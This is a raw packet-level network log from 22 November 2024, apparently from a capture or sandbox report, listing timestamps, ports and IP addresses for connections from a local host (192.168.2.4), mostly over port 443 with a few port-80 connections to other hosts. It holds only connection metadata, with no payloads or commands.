Nov 22, 2024 04:12:02.599040031 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.599101067 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.599138975 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.599158049 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.599208117 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.599581003 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.599662066 CET	443	49738	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.599714041 CET	49738	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.601113081 CET	49745	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.601164103 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.601242065 CET	49745	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.601381063 CET	49745	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.601407051 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.639801979 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.639976025 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.640032053 CET	49742	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.640115976 CET	49742	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.640125990 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.640136003 CET	49742	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.640141010 CET	443	49742	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.640731096 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.640755892 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.640801907 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.640814066 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.640851974 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.641035080 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.641041994 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.641057968 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.641206026 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.641238928 CET	443	49741	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.641287088 CET	49741	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.642441034 CET	49746	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.642473936 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.642546892 CET	49746	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.642688990 CET	49746	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.642713070 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.643105030 CET	49747	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.643150091 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:02.643218040 CET	49747	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.643352985 CET	49747	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:02.643379927 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:03.420383930 CET	49748	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:03.540251970 CET	80	49748	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:03.540870905 CET	49748	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:03.541126966 CET	49748	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:03.660653114 CET	80	49748	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:04.294785023 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.295377016 CET	49744	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.295454025 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.295793056 CET	49744	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.295804977 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.421435118 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.421869993 CET	49743	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.421895981 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.422346115 CET	49743	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.422353983 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.423155069 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.423429966 CET	49746	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.423453093 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.423790932 CET	49746	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.423803091 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.433983088 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.434298038 CET	49747	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.434374094 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.434604883 CET	49747	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.434621096 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.451988935 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.452228069 CET	49745	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.452251911 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.452641010 CET	49745	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.452651024 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.730484962 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.730643988 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.731069088 CET	49744	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.731161118 CET	49744	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.731161118 CET	49744	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.731209993 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.731235981 CET	443	49744	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.733431101 CET	49749	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.733463049 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.735053062 CET	49749	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.735177040 CET	49749	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.735187054 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.868830919 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.868911028 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.869132042 CET	49746	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.873693943 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.873845100 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.873908997 CET	49743	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.877392054 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.877538919 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.877599001 CET	49747	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.904817104 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.904958010 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.905083895 CET	49745	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.906780958 CET	49746	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.906830072 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.906860113 CET	49746	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.906876087 CET	443	49746	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.908509016 CET	49745	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.908509970 CET	49745	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.908554077 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.908581018 CET	443	49745	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.909709930 CET	49743	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.909734011 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.909755945 CET	49743	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.909764051 CET	443	49743	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.911004066 CET	49747	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.911004066 CET	49747	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.911020041 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.911040068 CET	443	49747	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.928639889 CET	80	49748	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:04.928729057 CET	49748	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:04.931683064 CET	49750	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.931726933 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.931811094 CET	49750	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.959137917 CET	49751	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:04.959158897 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:04.959233046 CET	49751	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.014839888 CET	49750	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.014858007 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:05.085839033 CET	49752	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.085896015 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:05.085969925 CET	49752	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.086416960 CET	49751	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.086431026 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:05.088105917 CET	49753	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.088177919 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:05.088247061 CET	49753	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.088417053 CET	49753	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.088449955 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:05.090943098 CET	49752	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:05.090987921 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.460762978 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.461205006 CET	49749	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.461220980 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.461646080 CET	49749	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.461652040 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.478704929 CET	49748	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:06.478992939 CET	49754	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:06.598499060 CET	80	49754	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:06.598701954 CET	49754	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:06.598772049 CET	80	49748	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:06.598856926 CET	49748	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:06.598932981 CET	49754	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:06.718586922 CET	80	49754	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:06.735845089 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.736315012 CET	49750	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.736334085 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.736776114 CET	49750	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.736782074 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.873967886 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.874355078 CET	49753	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.874413967 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.874743938 CET	49753	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.874762058 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.876668930 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.876956940 CET	49751	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.876985073 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.877386093 CET	49751	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.877391100 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.880692959 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.880942106 CET	49752	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.880979061 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.881297112 CET	49752	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.881313086 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.893781900 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.893961906 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.894021034 CET	49749	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.894184113 CET	49749	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.894196987 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.894206047 CET	49749	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.894211054 CET	443	49749	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.896441936 CET	49755	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.896495104 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:06.896564960 CET	49755	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.896680117 CET	49755	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:06.896709919 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.171261072 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.171449900 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.171511889 CET	49750	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.171566010 CET	49750	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.171585083 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.171596050 CET	49750	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.171601057 CET	443	49750	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.173999071 CET	49756	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.174102068 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.174192905 CET	49756	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.174365044 CET	49756	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.174397945 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.324851990 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.324995041 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.325031042 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.325184107 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.325242043 CET	49753	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.325277090 CET	49751	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.325547934 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.325599909 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.325650930 CET	49752	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.330672026 CET	49751	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.330688000 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.330717087 CET	49751	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.330722094 CET	443	49751	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.331101894 CET	49753	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.331101894 CET	49753	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.331130981 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.331156969 CET	443	49753	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.331720114 CET	49752	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.331720114 CET	49752	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.331767082 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.331794977 CET	443	49752	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.333916903 CET	49757	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.334007025 CET	49758	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.334018946 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.334059954 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.334106922 CET	49757	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.334127903 CET	49758	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.334224939 CET	49757	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.334264994 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.334300041 CET	49758	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.334335089 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.334845066 CET	49759	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.334872961 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:07.334944010 CET	49759	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.335088015 CET	49759	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:07.335128069 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:08.001435995 CET	80	49754	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:08.001622915 CET	49754	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:08.027029991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:08.146821976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:08.146969080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:08.165920019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:08.285542011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:08.754556894 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:08.755088091 CET	49755	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:08.755130053 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:08.755528927 CET	49755	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:08.755542994 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:08.959604979 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:08.960172892 CET	49756	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:08.960216999 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:08.960637093 CET	49756	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:08.960650921 CET	443	49756	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.120929003 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.128140926 CET	49759	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.128191948 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.128834963 CET	49759	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.128849030 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.183412075 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.183830023 CET	49757	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.183854103 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.184214115 CET	49757	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.184225082 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.187393904 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.187668085 CET	49758	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.187690020 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.187990904 CET	49758	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.187998056 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.206731081 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.206876993 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.206986904 CET	49755	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.207036972 CET	49755	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.207037926 CET	49755	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.207071066 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.207094908 CET	443	49755	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.209790945 CET	49761	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.209868908 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.209961891 CET	49761	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.210098982 CET	49761	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.210133076 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.531541109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531618118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531656981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531692028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531707048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.531748056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531783104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531801939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.531801939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.531801939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.531820059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531855106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531867981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.531891108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531929016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.531929970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.531953096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.532083988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.563755989 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.563908100 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.564305067 CET	49759	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.564450026 CET	49759	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.564486027 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.564517975 CET	49759	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.564534903 CET	443	49759	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.567285061 CET	49762	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.567397118 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.567501068 CET	49762	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.567610979 CET	49762	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.567642927 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.636456013 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.636742115 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.636807919 CET	49757	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.636939049 CET	49757	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.636962891 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.636986017 CET	49757	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.636997938 CET	443	49757	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.639298916 CET	49763	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.639362097 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.639440060 CET	49763	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.639559984 CET	49763	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.639590025 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.639950037 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.640002012 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.643069983 CET	49758	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.643134117 CET	49758	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.643134117 CET	49758	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.643163919 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.643187046 CET	443	49758	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.644768000 CET	49764	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.644789934 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.645603895 CET	49764	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.645710945 CET	49764	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:09.645716906 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:09.650269985 CET	49724	80	192.168.2.4	199.232.210.172
Nov 22, 2024 04:12:09.651624918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.651745081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.651818991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.655709028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.659051895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.732475042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.732584953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.732645035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.736689091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.736831903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.736949921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.744957924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.747056961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.748023987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.748147964 CET	80	49760	31.41.244.11	192.168.2.4
